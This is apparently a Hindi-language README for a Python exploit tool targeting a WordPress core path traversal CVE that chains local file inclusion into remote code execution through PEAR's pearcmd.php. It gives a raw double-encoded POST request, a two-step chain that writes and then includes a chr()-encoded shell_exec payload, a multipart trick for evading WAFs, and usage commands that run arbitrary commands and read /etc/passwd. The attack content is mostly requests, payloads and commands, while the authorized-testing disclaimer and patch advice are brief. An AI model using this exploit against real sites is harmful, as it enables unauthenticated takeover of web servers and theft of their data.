
CVE-2026-87902 के लिए Python PoC और स्कैनर, जो WordPress core path traversal के कारण LFI और PEAR-आधारित RCE की ओर ले जाता है, WAF bypass और स्वचालित exploitation के साथ।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-87902 |
| CVSS | 9.2 (Critical) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| CWE | CWE-98 — Improper Control of Filename for Include/Require |
| प्रभावित | WordPress 4.7.0 – 7.1.1 |
| ठीक किया गया | WordPress 7.1.2 + सभी समर्थित शाखाओं में बैकपोर्ट |
| प्रमाणीकरण | कोई नहीं (अनऑथेंटिकेटेड) |
wp-includes/template.php में get_page_template() सैनिटाइज़ेशन पहले ही चल चुके होने के बाद pagename क्वेरी पैरामीटर पर urldecode() कॉल करता है। एक डबल-एन्कोडेड ../ अनुक्रम (%252E%252E%252F) PHP के पहले डिकोड से %2E%2E%2F के रूप में गुज़रता है, sanitize_title_with_dashes() से बच निकलता है (जो %xx अनुक्रमों को संरक्षित रखता है), और फिर WordPress के विलंबित urldecode() कॉल द्वारा ../ में डिकोड हो जाता है — थीम डायरेक्टरी से बाहर निकल जाता है।
POST मेथड आवश्यक है क्योंकि redirect_canonical() गैर-GET/HEAD अनुरोधों के लिए जल्दी लौट आता है, जिससे भेद्य कोड तक पहुँचने से पहले पाथ को सामान्यीकृत होने से रोका जाता है।
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
page_id=2&pagename=templates%25252E%25252E%25252F%25252E%25252E%25252F...%25252Findex
1. PHP decodes POST body: templates%252E%252E%252F%252E%252E%252F...%252Findex
2. WP sanitize preserves: templates%2E%2E%2F%2E%2E%2F...%2Findex
3. get_page_template() urldecode(): templates/../../../index
4. locate_template() resolves: wp-content/themes/<theme>/page-templates/../../../index.php
5. file_exists() succeeds → include() executes the file
.php फ़ाइलें शामिल और निष्पादित की जाती हैंpearcmd.php गैजेट चेन के माध्यम से (PEAR इंस्टॉल + register_argc_argv=On आवश्यक)दो अनाम POST अनुरोध RCE प्राप्त करते हैं:
चरण 1 — ट्रैवर्सल के माध्यम से pearcmd.php शामिल करें। क्वेरी स्ट्रिंग /?+config-create+/<php-payload>+<output>.php PEAR का argv बन जाती है। config-create कमांड हमलावर-नियंत्रित डेटा (PHP टैग सहित) को एक राइटेबल डायरेक्टरी में लिखता है।
चरण 2 — PEAR द्वारा लिखी गई फ़ाइल को शामिल करें। एम्बेडेड PHP वेब-सर्वर विशेषाधिकारों के साथ निष्पादित होता है।
PHP पेलोड chr() एन्कोडिंग (<?=shell_exec(chr(105).chr(100))?>) का उपयोग करते हैं ताकि उन कोट अक्षरों से बचा जा सके जिन्हें wp_magic_quotes() एस्केप कर देगा।
cve-2026-87902.py — स्वचालित चेकर + LFI स्कैनर + PEAR RCE एक्सप्लॉइट। बाइट-सटीक अनुरोध नियंत्रण के लिए http.client का उपयोग करता है (कोई लाइब्रेरी पुनः-एन्कोडिंग नहीं)।
Python 3.6+ (केवल मानक लाइब्रेरी — कोई pip निर्भरता नहीं)
# Check vulnerability only
python3 cve-2026-87902.py https://target.com --check
# Check with WAF bypass (multipart/form-data)
python3 cve-2026-87902.py https://target.com --check --multipart
# Specify page ID and traversal depth
python3 cve-2026-87902.py https://target.com -p 42 --depth 7
# LFI scan (default targets)
python3 cve-2026-87902.py https://target.com
# LFI scan with custom files
python3 cve-2026-87902.py https://target.com -f etc/passwd wp-includes/pluggable
# RCE via PEAR chain
python3 cve-2026-87902.py https://target.com --rce "id"
# Read a file via RCE
python3 cve-2026-87902.py https://target.com --read /etc/hostname
# Full options
python3 cve-2026-87902.py https://target.com --rce "whoami" \
--pear /usr/local/lib/php/pearcmd \
--output /tmp/wp-rce-payload \
--multipart --timeout 30
page-* डायरेक्टरियों की जाँच करता है--multipart पेलोड को multipart/form-data में लपेटता है ताकि WAF पैटर्न मिलान से बचा जा सकेchr()-एन्कोडेड पेलोड के साथ दो-चरणीय PEAR चेन| मार्कर | अर्थ |
|---|---|
[HIT] | फ़ाइल सफलतापूर्वक शामिल की गई |
[---] | सामान्य प्रतिक्रिया (फ़ाइल शामिल नहीं) |
[???] | प्रतिक्रिया काफ़ी भिन्न — जाँच के योग्य |
[WAF] | WAF द्वारा अवरुद्ध (403) |
[ERR] | कनेक्शन विफल |
page-* डायरेक्टरी होनी चाहिए (जैसे page-templates/)pearcmd.php पठनीय + register_argc_argv=On + राइटेबल /tmpWordPress 7.1.2 या अपनी शाखा के लिए नवीनतम सुरक्षा रिलीज़ में अपडेट करें (4.7 तक बैकपोर्ट उपलब्ध)।
यह टूल केवल अधिकृत सुरक्षा परीक्षण और बग बाउंटी शोध के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति है। कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है।